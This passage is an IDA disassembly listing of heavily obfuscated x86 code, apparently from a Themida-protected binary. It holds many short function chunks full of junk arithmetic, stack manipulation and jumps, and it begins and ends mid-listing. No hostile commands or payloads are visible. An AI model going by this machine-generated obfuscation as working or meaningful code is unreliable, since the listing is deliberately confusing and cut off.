jge loc_59659B
sub ebx, 33AA6E9Bh
mov ecx, ebx
add al, 0EAh
mov dl, al
loc_58CAAB: ; CODE XREF: sub_59196D+4D6Ej
neg dh
add dh, 4Eh
push 4A69h
mov [esp+3Eh+var_40+2], edx
mov dl, 0F1h
not dl
sub dl, 0AEh
add al, dl
push [esp+3Eh+var_40+2]
pop edx
add esp, 4
add al, dh
jmp loc_5923B8
; ---------------------------------------------------------------------------
loc_58CAD2: ; CODE XREF: sub_59196D-1D98j
pop esi
shr edi, 1
push ebp
push edi
mov edi, 5EB42B6h
mov ebp, 22D23F5h
add ebp, edi
mov edi, [esp+3Eh+var_40+2]
add esp, 4
xor ebp, 56C529A2h
xor edi, ebp
pop ebp
sub edi, 5F5F4B49h
mov ecx, edi
pop edi
mov edx, ecx
mov ecx, [esp+32h+var_32]
push 12FDh
mov [esp+36h+var_36], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+36h+var_36]
jmp loc_58D265
; ---------------------------------------------------------------------------
loc_58CB21: ; CODE XREF: sub_59196D-1D32j
; sub_59196D+5799j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+3Ah+var_3C+2]
jmp loc_590F9B
; ---------------------------------------------------------------------------
loc_58CB36: ; CODE XREF: sub_59196D-47A1j
push 4337h
mov [esp+3Eh+var_40+2], ebx
jmp sub_590438
; ---------------------------------------------------------------------------
loc_58CB43: ; CODE XREF: sub_59196D+1329j
mov esi, esp
jmp loc_592050
; ---------------------------------------------------------------------------
loc_58CB4A: ; CODE XREF: sub_59196D-56A5j
mov [esp+14h+var_16+2], edx
mov edx, 73130E21h
shr edx, 2
jz loc_591C86
dec edx
jmp loc_5922C9
; ---------------------------------------------------------------------------
loc_58CB61: ; CODE XREF: sub_59196D-4D73j
sub al, 30h
sub al, bl
add al, 30h
add al, 6
push 5C8Dh
mov [esp+18h+var_1A+2], ecx
mov cl, 98h
push 0
sub byte ptr [esp+1Ch+var_1E+2], cl
jmp loc_59021E
; ---------------------------------------------------------------------------
loc_58CB80: ; CODE XREF: sub_59196D-2028j
push eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58CB87: ; CODE XREF: sub_59196D-3DA4j
add al, bl
add al, 10h
push ebx
jmp loc_590F51
; ---------------------------------------------------------------------------
loc_58CB91: ; CODE XREF: sub_59196D-3CE8j
push eax
mov al, 0AFh
jmp loc_58E1AC
; ---------------------------------------------------------------------------
loc_58CB99: ; CODE XREF: sub_59196D-3E1Bj
jmp loc_58EDA6
; ---------------------------------------------------------------------------
loc_58CB9E: ; CODE XREF: sub_59196D+3646j
shl ebx, 7
shr ebx, 3
jmp loc_5959A7
; ---------------------------------------------------------------------------
loc_58CBA9: ; CODE XREF: sub_59196D-4131j
; sub_59196D+300j
push 6353h
jmp loc_59741B
; ---------------------------------------------------------------------------
loc_58CBB3: ; CODE XREF: sub_59196D-27B1j
add edi, 4
jmp sub_5909BD
; ---------------------------------------------------------------------------
loc_58CBBE: ; CODE XREF: sub_59196D+B00j
; sub_59196D+5C5Aj
add esp, 2
jmp loc_590458
; ---------------------------------------------------------------------------
loc_58CBC6: ; CODE XREF: sub_59196D+1C4Ej
add edx, 4
xchg edx, [esp+2Ch+var_2E+2]
pop esp
push 4B09h
mov [esp+2Ch+var_2E+2], ebp
mov ebp, 24h
push ebx
jmp loc_597306
; ---------------------------------------------------------------------------
loc_58CBE0: ; CODE XREF: sub_59196D-1514j
mov cl, 38h
push ebx
mov bl, 0B7h
sub cl, bl
pop ebx
xor cl, 99h
and cl, 33h
add cl, 0F8h
sub cl, 0FEh
add cl, 0FCh
sub al, cl
pop ecx
jmp loc_58CB61
; ---------------------------------------------------------------------------
loc_58CBFF: ; CODE XREF: sub_59196D-27EEj
pop ebp
sub esp, 4
jmp loc_595D11
; ---------------------------------------------------------------------------
loc_58CC0B: ; CODE XREF: sub_59196D-1CA1j
add ebp, edi
jmp loc_58C3E1
; ---------------------------------------------------------------------------
loc_58CC12: ; CODE XREF: sub_59196D-22D2j
push edi
mov edi, 0ECEFDDFCh
sub esi, edi
mov edi, [esp+30h+var_32+2]
jmp loc_58FAC9
; ---------------------------------------------------------------------------
loc_58CC22: ; CODE XREF: sub_59196D-19Ej
sub esi, ecx
pop ecx
add esi, eax
add esi, 2F100DCDh
push 7B36h
mov [esp+30h+var_32+2], eax
mov eax, 4CEF035Eh
push edi
push esi
push 2D5F3DBCh
jmp loc_58B8F6
; ---------------------------------------------------------------------------
loc_58CC46: ; CODE XREF: sub_59196D:loc_58E6FAj
xor ebp, 62354324h
xor ebp, 417439C1h
jmp loc_58C0EC
; ---------------------------------------------------------------------------
loc_58CC57: ; CODE XREF: sub_59196D+2401j
mov ax, word ptr [esp+3Ch+var_3C]
sub esp, 4
jmp loc_58F289
; ---------------------------------------------------------------------------
loc_58CC63: ; CODE XREF: sub_59196D+6016j
mov ecx, 77C37F4h
shr ecx, 8
xor ecx, 1FC50233h
xor ecx, 1FC27E00h
add ebx, ecx
mov ecx, [esp+40h+var_40]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+44h+var_44]
pop esp
add ebx, 4
xchg ebx, [esp+40h+var_40]
pop esp
pop esi
push 79CDh
mov [esp+3Ch+var_3C], ebx
push 10A445FEh
pop ebx
push ebx
jmp loc_58F079
; ---------------------------------------------------------------------------
loc_58CCA8: ; CODE XREF: sub_59196D+13B7j
pop ecx
add bl, al
pop ax
jmp loc_58E37E
; ---------------------------------------------------------------------------
loc_58CCB2: ; CODE XREF: sub_59196D-446Fj
dec edi
xor edi, 934783Dh
neg edi
jmp loc_59172C
; ---------------------------------------------------------------------------
loc_58CCC0: ; CODE XREF: sub_59196D-3E78j
pop edx
sub esp, 4
mov [esp+3Ah+var_3C+2], ebx
add [esp+3Ah+var_3C+2], 253F0212h
jmp loc_595ACA
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C57F
loc_58CCD6: ; CODE XREF: sub_58C57F+6j
mov [esp+4+var_4], eax
push ecx
jmp loc_59365E
; END OF FUNCTION CHUNK FOR sub_58C57F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CCDF: ; CODE XREF: sub_59196D-3747j
sub al, 0AEh
add al, 44h
xor al, 0ABh
jmp loc_5914BF
; ---------------------------------------------------------------------------
loc_58CCEA: ; CODE XREF: sub_59196D-1169j
mov ebx, 0C4A74192h
add esi, ebx
jmp loc_591E7B
; ---------------------------------------------------------------------------
loc_58CCF6: ; CODE XREF: sub_59196D+41FBj
push 0D15h
mov [esp+3Eh+var_40+2], edx
push 4C9307C7h
mov edx, [esp+42h+var_44+2]
add esp, 4
and edx, 2DA40ACh
jno loc_58F0C0
jmp loc_59494C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop eax
add eax, 4
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CD20: ; CODE XREF: sub_59196D-472Fj
mov [esp+3Eh+var_40+2], ecx
mov ecx, 4EBE6BE2h
jmp loc_596DEA
; ---------------------------------------------------------------------------
loc_58CD2D: ; CODE XREF: sub_59196D+5782j
add eax, 789B662Ah
jmp loc_58E6FF
; ---------------------------------------------------------------------------
loc_58CD37: ; CODE XREF: sub_59196D+389Aj
add ebp, 0FFFFFFFFh
jmp loc_596173
; ---------------------------------------------------------------------------
loc_58CD3F: ; CODE XREF: sub_59196D+1900j
or cl, 0BEh
sub cl, 64h
add cl, 39h
add al, cl
pop ecx
sub esp, 4
jmp loc_58D5F6
; ---------------------------------------------------------------------------
loc_58CD53: ; CODE XREF: sub_59196D-1CB6j
sub bl, ah
pop eax
push cx
mov ch, 93h
add bl, ch
pop cx
jmp loc_59453B
; ---------------------------------------------------------------------------
loc_58CD63: ; CODE XREF: sub_59196D+28FEj
xor ebx, [esp+3Ah+var_3C+2]
mov esp, [esp+3Ah+var_3C+2]
add word ptr [esp+3Ah+var_3C+2], ax
pushf
jmp loc_5956F9
; ---------------------------------------------------------------------------
loc_58CD73: ; CODE XREF: sub_59196D-44E2j
add edi, 4
xchg edi, [esp+3Eh+var_40+2]
jmp loc_590BCF
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58CD7E proc near ; CODE XREF: sub_59196D+5FC7j
push ebp
mov ebp, 2E6478F9h
sub eax, ebp
jmp loc_58F50F
sub_58CD7E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CD8B: ; CODE XREF: sub_59196D-17B4j
; sub_59196D+3FFEj
add eax, 71F0FFCAh
sub edx, 45F2794Ch
add edx, eax
add edx, 45F2794Ch
pop eax
add edx, ebp
sub edx, 9D822ABh
jmp loc_59759C
; ---------------------------------------------------------------------------
loc_58CDAC: ; CODE XREF: sub_59196D-5EF2j
jz loc_595B9B
add eax, 708D0E16h
jle loc_58B6D5
or eax, 310C08A5h
jmp loc_58E77C
; ---------------------------------------------------------------------------
loc_58CDC7: ; CODE XREF: sub_59196D+303Cj
push dword ptr [eax]
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58CDCE: ; CODE XREF: Themida_:00590607j
add esp, 4
pop edi
sub eax, 6D8339DDh
sub eax, ebp
add eax, 6D8339DDh
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_593327
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CDEC: ; CODE XREF: sub_59196D+4C09j
push edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_594491
; ---------------------------------------------------------------------------
loc_58CDFE: ; CODE XREF: sub_59196D+2DE5j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+20h+var_22+2]
jmp loc_597FD8
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FC53
loc_58CE11: ; CODE XREF: sub_58FC53-C70j
add bl, 10h
add bl, 8Ch
shl bl, 3
sub bl, 95h
jmp loc_594A35
; END OF FUNCTION CHUNK FOR sub_58FC53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CE22: ; CODE XREF: Themida_:0058FE15j
; sub_59196D+EEAj
add ebp, eax
pop eax
sub ebp, 4BCF4185h
not ebp
push ecx
mov ecx, 20486705h
shr ecx, 7
inc ecx
sub ecx, 0A76593Dh
jmp loc_58EDA6
; ---------------------------------------------------------------------------
loc_58CE42: ; CODE XREF: sub_59196D-269Ej
; DATA XREF: Themida_:0058B0D0o
mov cx, word ptr [esp+20h+var_22+2]
sub esp, 4
jmp loc_590E13
; ---------------------------------------------------------------------------
loc_58CE4E: ; CODE XREF: sub_59196D-5F5Cj
pop esi
xor ebp, 263FC5C0h
add esi, ebp
pop ebp
pop edx
xchg esi, [esp+10h+var_12+2]
pop esp
div cl
movzx cx, ah
sub esp, 4
mov [esp+10h+var_12+2], ebp
push esp
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_58FB05
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58CE7B: ; CODE XREF: Themida_:0058FBB8j
push ecx
jmp loc_59398D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CE81: ; CODE XREF: sub_59196D-64C4j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58CE86: ; CODE XREF: sub_59196D+194Cj
mov esp, [esp+0]
jmp loc_591690
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
dw 0B450h
; ---------------------------------------------------------------------------
fild word ptr [eax-0B7F5C14h]
retn
; ---------------------------------------------------------------------------
db 80h
dd 0F2E99CC1h
db 0F9h, 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_58CE9F proc near ; CODE XREF: sub_59196D+AD2j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
push esp
pop ebp
add ebp, 4
jmp loc_5945E2
sub_58CE9F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CEB2: ; CODE XREF: sub_59196D-1651j
push ecx
push esi
mov esi, esp
push edx
jmp loc_597E12
; ---------------------------------------------------------------------------
loc_58CEBC: ; CODE XREF: sub_59196D-45B1j
; sub_58F469+4A1j
mov si, word ptr [esp+0Ch+var_C]
add esp, 2
inc si
add si, 0B18h
sub ax, si
mov esi, [esp+8+var_8]
push 63F7h
mov [esp+0Ch+var_C], eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp+10h+var_12+2], ebx
push edi
mov edi, 464A769Dh
mov ebx, 464A76A1h
sub ebx, edi
pop edi
jmp loc_58C7CA
; ---------------------------------------------------------------------------
loc_58CEF8: ; CODE XREF: sub_59196D+3A2Dj
push 0B1F7B09h
pop ebp
not ebp
xor ebp, 199B757Dh
jmp loc_596DD0
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58CF0B proc near ; CODE XREF: sub_59196D-52C9j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_592581
sub_58CF0B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CF1C: ; CODE XREF: sub_59196D-2611j
mov dl, 58h
xor dl, 0EFh
jnp loc_593A74
or dl, 47h
jge loc_58BF79
jmp loc_58C623
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58CF35 proc near ; DATA XREF: Themida_:0058B1FCo
mov ax, [esp+0]
push ebx
jmp loc_592D34
sub_58CF35 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CF3F: ; CODE XREF: sub_59196D-305Cj
push edi
mov edi, 609275F3h
add eax, edi
pop edi
sub esp, 4
mov [esp+14h+var_16+2], ebx
mov ebx, 3E35260Eh
add eax, ebx
pop ebx
add eax, edi
sub eax, 3E35260Eh
sub eax, 609275F3h
jmp loc_59029B
; ---------------------------------------------------------------------------
loc_58CF67: ; CODE XREF: sub_59196D+187Dj
add edi, 2
push edi
push [esp+14h+var_12+2]
pop edi
pop [esp+14h+var_16+2]
pop esp
mul cx
push 44BEh
mov [esp+10h+var_12+2], edi
mov edi, esp
push eax
jmp loc_591F10
; ---------------------------------------------------------------------------
loc_58CF87: ; CODE XREF: sub_59196D+1604j
push esp
mov ecx, [esp+18h+var_1A+2]
add esp, 4
add ecx, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+18h+var_1A+2]
jmp loc_58BC53
; ---------------------------------------------------------------------------
loc_58CFAE: ; CODE XREF: sub_59196D+5C7Fj
mov esp, [esp+18h+var_1A+2]
loc_58CFB1: ; CODE XREF: sub_59196D-17C5j
push 2BF0h
mov [esp+1Ch+var_1E+2], ebx
push [esp+1Ch+var_1E+2]
push [esp+20h+var_22+2]
mov ebx, [esp+24h+var_26+2]
push 27C2h
mov [esp+28h+var_2A+2], eax
mov eax, esp
push edi
mov edi, 3B1D0D96h
jmp loc_58C105
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5906EB
loc_58CFD7: ; CODE XREF: sub_5906EB+Aj
push [esp+arg_0]
pop ecx
pop dword ptr [esp+0]
pop esp
add esp, 4
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_5906EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58CFEB: ; CODE XREF: sub_59196D-6199j
mov ecx, 1
add ebp, ecx
pop ecx
shr ebp, 7
inc ebp
xor ebp, 0FB7758h
sub edi, ebp
pop ebp
xchg edi, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
mov [esp+10h+var_12+2], ebx
sub esp, 4
mov [esp+14h+var_16+2], esi
mov esi, eax
sub esp, 4
mov [esp+18h+var_1A+2], esi
push [esp+18h+var_1A+2]
pop ebx
push 6724h
mov [esp+1Ch+var_1E+2], ebx
jmp loc_597979
; ---------------------------------------------------------------------------
loc_58D02E: ; CODE XREF: sub_59196D-A8Fj
sub ebx, eax
sub ebx, 313F7E33h
push esi
mov esi, esp
jmp loc_595265
; ---------------------------------------------------------------------------
loc_58D03E: ; CODE XREF: sub_59196D-1C4Ej
pop ecx
jmp loc_58DC29
; ---------------------------------------------------------------------------
loc_58D044: ; CODE XREF: sub_59196D+C30j
pop edi
add ebx, esi
pop esi
jmp loc_58F088
; ---------------------------------------------------------------------------
loc_58D04D: ; CODE XREF: sub_59196D-20Fj
pop ebx
jmp loc_58F818
; ---------------------------------------------------------------------------
loc_58D053: ; CODE XREF: sub_59196D-3C48j
push edx
mov edx, 6EA65FD1h
add eax, edx
jmp loc_58B584
; ---------------------------------------------------------------------------
loc_58D060: ; CODE XREF: sub_59196D+5766j
add esi, 4
jmp loc_58C0AF
; ---------------------------------------------------------------------------
loc_58D06B: ; CODE XREF: sub_59196D+10EBj
xor ecx, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], ecx
xor ecx, [esp+14h+var_16+2]
pop esp
xor eax, esi
push [esp+10h+var_12+2]
push [esp+14h+var_16+2]
mov esi, [esp+18h+var_1A+2]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+18h+var_1A+2]
pop esp
jmp loc_590ECC
; ---------------------------------------------------------------------------
loc_58D09B: ; CODE XREF: sub_59196D+AB0j
; sub_59196D+6309j
mov [esp+14h+var_16+2], eax
mov al, 30h
xor al, 0C8h
jmp loc_591E6C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58D0A7: ; CODE XREF: Themida_:0058B7E1j
pop eax
push 4670h
mov [esp], esi
mov esi, esp
add esi, 4
push eax
push edx
mov edx, 7C07364Bh
mov eax, 0C92227C8h
jmp loc_593C78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D0C9: ; CODE XREF: sub_59196D+6CF4j
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
pop esi
jmp loc_58F542
; ---------------------------------------------------------------------------
loc_58D0D5: ; CODE XREF: sub_59196D+664Aj
xor dl, 0D0h
add bl, dl
pop edx
jmp loc_590EB7
; ---------------------------------------------------------------------------
loc_58D0E0: ; CODE XREF: sub_59196D+3C5Dj
add ebp, 7CF13C34h
and ebp, 1C5C0486h
inc ebp
add ebp, 0EBB7FC01h
jmp loc_58DA9F
; ---------------------------------------------------------------------------
loc_58D0F8: ; CODE XREF: sub_59196D-3362j
pop ebp
pop [esp+10h+var_12+2]
pop esp
push [esp+8+var_8]
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_59694F
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58D10E proc near ; CODE XREF: sub_59196D+2C70j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058DA0E SIZE 0000001A BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58DA0E
sub_58D10E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D122: ; CODE XREF: sub_59196D+3405j
sub edx, esi
jmp loc_5917BF
; ---------------------------------------------------------------------------
loc_58D129: ; CODE XREF: sub_59196D+4775j
pop esi
jmp sub_5914EB
; ---------------------------------------------------------------------------
loc_58D12F: ; CODE XREF: sub_59196D+18DEj
xor eax, esi
push [esp+4+var_4]
pop esi
push ebx
jmp loc_591D70
; ---------------------------------------------------------------------------
loc_58D13B: ; CODE XREF: sub_59196D+575Fj
jno loc_58FB55
xor edi, 361D27E2h
mov ebp, edi
pop edi
push ebp
loc_58D14B: ; CODE XREF: sub_59196D-1B75j
dec ebx
inc ebx
push ecx
mov ecx, 70923E6Fh
inc ecx
sub ecx, 41E35554h
shr ecx, 2
jmp loc_591C0E
; ---------------------------------------------------------------------------
loc_58D162: ; CODE XREF: sub_59196D+1C87j
mov eax, esp
jmp loc_591C2A
; ---------------------------------------------------------------------------
loc_58D169: ; CODE XREF: sub_59196D+236Dj
neg esi
js loc_5910A6
and esi, 37935EB4h
neg esi
jmp loc_591BCF
; ---------------------------------------------------------------------------
loc_58D17E: ; CODE XREF: sub_59196D-2F84j
mov word ptr [esp+0Ch+var_C], dx
push ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D18A: ; CODE XREF: sub_59196D-1BE1j
add bl, cl
pop ecx
push edx
jmp loc_59698D
; ---------------------------------------------------------------------------
loc_58D193: ; CODE XREF: sub_59196D+47EDj
mov eax, edx
jmp loc_59383E
; ---------------------------------------------------------------------------
loc_58D19A: ; CODE XREF: sub_59196D-5600j
; sub_59196D+305Aj
pop esi
add esp, 4
jmp loc_5914C6
; ---------------------------------------------------------------------------
loc_58D1A3: ; CODE XREF: sub_59196D-58B5j
and esi, 7749464Dh
jmp loc_595A6A
; ---------------------------------------------------------------------------
loc_58D1AE: ; CODE XREF: sub_59196D-567Bj
push ecx
sub [esp+1Ch+var_1E+2], 4D6E69F1h
jmp loc_5983C0
; ---------------------------------------------------------------------------
loc_58D1BB: ; CODE XREF: sub_59196D+182Cj
pop ecx
sub eax, 4
jmp loc_595B00
; ---------------------------------------------------------------------------
loc_58D1C4: ; CODE XREF: sub_59196D+15A3j
xchg eax, [esp+18h+var_1A+2]
pop esp
mov cx, word ptr [esp+14h+var_16+2]
jmp loc_58CB36
; ---------------------------------------------------------------------------
loc_58D1D1: ; CODE XREF: sub_59196D+551Ej
add esi, 3DC67BABh
jnb loc_58BB6F
xor esi, 2B7B0F78h
js loc_597A34
pop esi
loc_58D1EA: ; CODE XREF: sub_59196D+6A89j
pop ebp
pop esi
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov word ptr [esp+8+var_8], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D1FB: ; CODE XREF: sub_59196D+6B62j
mov eax, esp
push esi
mov esi, 4
add eax, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
push esi
push 44DF4D56h
jmp loc_597764
; ---------------------------------------------------------------------------
loc_58D216: ; CODE XREF: sub_59196D+255Fj
add edx, 4
sub esp, 4
mov [esp+14h+var_16+2], esi
mov esi, 4
add edx, esi
pop esi
push edx
push [esp+14h+var_12+2]
pop edx
pop [esp+14h+var_16+2]
mov esp, [esp+10h+var_12+2]
push 0F8Eh
jmp loc_58CD20
; ---------------------------------------------------------------------------
loc_58D243: ; CODE XREF: sub_59196D+5A45j
sub ecx, 6E83192Bh
shl ecx, 8
xor ecx, 7102604Bh
jmp loc_58F7AD
; ---------------------------------------------------------------------------
loc_58D257: ; CODE XREF: sub_59196D+2C03j
pop ebx
and ecx, ebp
mov ebp, [esp+10h+var_12+2]
push ebx
mov ebx, esp
jmp loc_593D4D
; ---------------------------------------------------------------------------
loc_58D265: ; CODE XREF: sub_59196D-4E51j
pop esp
loc_58D266: ; CODE XREF: sub_59196D+1A31j
; sub_59196D+3148j
push dword ptr [edi+24h]
jmp loc_5938B3
; ---------------------------------------------------------------------------
loc_58D26E: ; CODE XREF: sub_59196D-2AABj
push 1F7Bh
mov [esp+3Ah+var_3C+2], ecx
mov ecx, 2
add eax, ecx
jmp loc_58EEF9
; ---------------------------------------------------------------------------
loc_58D282: ; CODE XREF: sub_59196D+2DD7j
push esp
mov ecx, [esp+3Eh+var_40+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+42h+var_44+2]
pop esp
sub esp, 4
mov [esp+42h+var_44+2], eax
push edx
mov edx, 6FBC7107h
add edx, 2506472Ch
jnp loc_5982EA
add edx, 34826E12h
jp loc_5920B2
not edx
jmp loc_59261E
; ---------------------------------------------------------------------------
loc_58D2C7: ; CODE XREF: sub_59196D+3387j
sub ebx, 33AA6E9Bh
mov ecx, ebx
pop ebx
sub ebp, ecx
push [esp+42h+var_44+2]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
jmp loc_596F8C
; ---------------------------------------------------------------------------
loc_58D2EC: ; CODE XREF: sub_59196D+4158j
mov dl, 55h
sub dl, 99h
or dl, 0E0h
sub dl, 0A1h
push ecx
jmp loc_595151
; ---------------------------------------------------------------------------
loc_58D2FD: ; CODE XREF: sub_59196D:loc_58E68Bj
; sub_59196D+1986j
jmp loc_58D5C8
; ---------------------------------------------------------------------------
loc_58D302: ; CODE XREF: sub_59196D+1579j
push edi
mov edi, 5F140255h
and edi, 7F370B75h
shl edi, 3
sub edi, 0C73FB18Ah
sub ebp, edi
pop edi
pop edx
xchg ebp, [esp+4Ah+var_4A]
pop esp
mov [esp+0], ebp
mov ebp, esp
push edi
mov edi, 2AB3292Ah
shr edi, 8
xor edi, 36DC52A1h
jmp loc_5965D9
; ---------------------------------------------------------------------------
loc_58D338: ; CODE XREF: sub_59196D+464Dj
add edx, esi
add edx, 480F25B0h
pop esi
push ecx
jmp loc_590754
; ---------------------------------------------------------------------------
loc_58D347: ; CODE XREF: sub_59196D:loc_5936BFj
jmp loc_596F6E
; ---------------------------------------------------------------------------
loc_58D34C: ; CODE XREF: sub_59196D-2BE0j
xchg eax, ecx
not ecx
xchg eax, ecx
xchg eax, [esp+4Ah+var_4A]
push [esp+4Ah+var_4A]
jmp loc_597A44
; ---------------------------------------------------------------------------
loc_58D35B: ; CODE XREF: sub_59196D+BF2j
pop ebp
jmp loc_590B9A
; ---------------------------------------------------------------------------
loc_58D361: ; CODE XREF: sub_59196D-15DDj
add cl, dl
jmp loc_59416A
; ---------------------------------------------------------------------------
loc_58D368: ; CODE XREF: sub_59196D+5D80j
mov ecx, [esp+4Ah+var_4A]
add esp, 4
jmp loc_58F11D
; ---------------------------------------------------------------------------
loc_58D373: ; CODE XREF: sub_59196D+5112j
add eax, 4
push edi
mov edi, 5D946F0Ch
add edi, 0A26B90F8h
add eax, edi
pop edi
jmp loc_58FCF3
; ---------------------------------------------------------------------------
loc_58D38C: ; CODE XREF: sub_59196D+4CE5j
sub al, cl
jmp loc_59009D
; ---------------------------------------------------------------------------
loc_58D393: ; CODE XREF: sub_59196D+1762j
xor bh, dl
pop dx
sub al, bh
pop ebx
sub al, bh
push 6E9Fh
jmp loc_592A2E
; ---------------------------------------------------------------------------
loc_58D3A6: ; CODE XREF: sub_59196D+99Ej
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D3AB: ; CODE XREF: sub_59196D+3E8Cj
pop ebx
add esp, 4
xchg esi, [esp+3Ch+var_3C]
jmp loc_58C09B
; ---------------------------------------------------------------------------
loc_58D3B7: ; CODE XREF: sub_59196D+2CF7j
not al
shr al, 3
js loc_58CEBC
jmp loc_5941BB
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cx, [esp]
push 49F3h
mov [esp], ecx
push esp
jmp loc_596012
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D3D9: ; CODE XREF: sub_59196D-41B4j
xor [esp+3Ch+var_3C], ecx
xor ecx, [esp+3Ch+var_3C]
pop esp
bt [esp+0], eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D3EA: ; CODE XREF: sub_59196D+FC5j
sub edi, ebx
pop ebx
xor edi, 0A44BFA21h
mov ecx, edi
pop edi
sub ecx, 0FFFFFFFFh
add ecx, 0E41FC824h
sub ecx, 257131ADh
jmp loc_5923E3
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C376
loc_58D40A: ; CODE XREF: sub_58C376+26j
shl al, 3
and al, 59h
inc al
push edx
mov dl, 0F6h
xor dl, 70h
xor al, dl
jmp loc_58E462
; END OF FUNCTION CHUNK FOR sub_58C376
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D41E: ; CODE XREF: sub_59196D+67FDj
pop edi
add esp, 4
or edx, eax
shl edx, 1
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+30h+var_32+2]
mov esp, [esp+30h+var_32+2]
mov [esp+30h+var_32+2], ecx
push esi
mov esi, 396F49F1h
and esi, 485B062Fh
jmp loc_596DFB
; ---------------------------------------------------------------------------
loc_58D452: ; CODE XREF: sub_59196D-9F8j
sub ebp, 450F09CAh
add ebp, edi
jmp loc_59718D
; ---------------------------------------------------------------------------
loc_58D45F: ; CODE XREF: sub_59196D-1EFBj
pop ecx
sub edi, 3893748Eh
push ecx
mov ecx, 5D071E56h
add ecx, 0C5040563h
sub edi, ecx
jmp loc_58D639
; ---------------------------------------------------------------------------
loc_58D479: ; CODE XREF: sub_59196D-2348j
add cl, 0D8h
add dl, cl
pop ecx
jmp loc_58DB25
; ---------------------------------------------------------------------------
loc_58D484: ; CODE XREF: sub_59196D+5A7Dj
sub ebx, ebp
pop ebp
add edi, ebx
pop ebx
pop esi
jmp loc_58CD73
; ---------------------------------------------------------------------------
loc_58D490: ; CODE XREF: sub_59196D-5E5Dj
; sub_59196D+5536j
shl edi, 2
js loc_59854B
xor edi, 0A7B55F74h
mov ebp, edi
pop edi
push ebp
loc_58D4A3: ; CODE XREF: sub_58ED05-1747j
push 14D15D95h
pop edi
neg edi
xor edi, 0B524B16Dh
mov eax, edi
pop edi
add esi, 29720344h
jmp loc_58DE1B
; ---------------------------------------------------------------------------
loc_58D4BF: ; CODE XREF: sub_59196D+F55j
add eax, edx
push edi
jmp loc_598322
; ---------------------------------------------------------------------------
